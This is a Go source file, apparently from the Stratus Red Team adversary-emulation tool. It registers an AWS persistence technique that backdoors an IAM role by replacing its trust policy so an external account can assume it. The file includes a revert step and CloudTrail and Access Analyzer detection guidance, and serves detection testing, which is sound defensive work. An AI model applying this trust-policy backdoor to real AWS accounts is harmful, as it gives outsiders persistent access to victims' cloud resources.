-
Notifications
You must be signed in to change notification settings - Fork 196
/
main.go
90 lines (73 loc) · 2.69 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
package aws
import (
"context"
_ "embed"
"errors"
"github.com/aws/aws-sdk-go-v2/service/iam"
"github.com/datadog/stratus-red-team/internal/providers"
"github.com/datadog/stratus-red-team/pkg/stratus"
"github.com/datadog/stratus-red-team/pkg/stratus/mitreattack"
"log"
"strings"
)
//go:embed main.tf
var tf []byte
//go:embed malicious_policy.json
var maliciousIamPolicy string
func init() {
stratus.GetRegistry().RegisterAttackTechnique(&stratus.AttackTechnique{
ID: "aws.persistence.iam-backdoor-role",
FriendlyName: "Backdoor an IAM Role",
Description: `
Establishes persistence by backdooring an existing IAM role, allowing it to be assumed from an external AWS account.
Warm-up:
- Create an IAM role.
Detonation:
- Update the assume role policy of the IAM role to backdoor it, making it accessible from an external, fictitious AWS account:
<pre>
<code>
` + maliciousIamPolicy + `
</code>
</pre>
`,
Detection: `
- Using CloudTrail's <code>UpdateAssumeRolePolicy</code> event.
- Through [IAM Access Analyzer](https://docs.aws.amazon.com/IAM/latest/UserGuide/access-analyzer-resources.html#access-analyzer-iam-role),
which generates a finding when a role can be assumed from a new AWS account or publicly.
`,
Platform: stratus.AWS,
IsIdempotent: true,
MitreAttackTactics: []mitreattack.Tactic{mitreattack.Persistence},
PrerequisitesTerraformCode: tf,
Detonate: detonate,
Revert: revert,
})
}
func detonate(params map[string]string) error {
roleName := params["role_name"]
log.Println("Backdooring IAM role " + roleName + " by allowing sts:AssumeRole from an external AWS account")
err := updateAssumeRolePolicy(roleName, maliciousIamPolicy)
if err != nil {
return errors.New("unable to backdoor IAM role: " + err.Error())
}
log.Println("Update role trust policy with malicious policy:\n" + maliciousIamPolicy)
return nil
}
func revert(params map[string]string) error {
roleName := params["role_name"]
roleTrustPolicy := strings.ReplaceAll(params["role_trust_policy"], "\\", "") // Terraform output adds backslashes for some reason
log.Println("Reverting trust policy of IAM role " + roleName + " to its original state")
err := updateAssumeRolePolicy(roleName, roleTrustPolicy)
if err != nil {
return errors.New("unable to backdoor IAM role: " + err.Error())
}
return nil
}
func updateAssumeRolePolicy(roleName string, roleTrustPolicy string) error {
iamClient := iam.NewFromConfig(providers.AWS().GetConnection())
_, err := iamClient.UpdateAssumeRolePolicy(context.Background(), &iam.UpdateAssumeRolePolicyInput{
RoleName: &roleName,
PolicyDocument: &roleTrustPolicy,
})
return err
}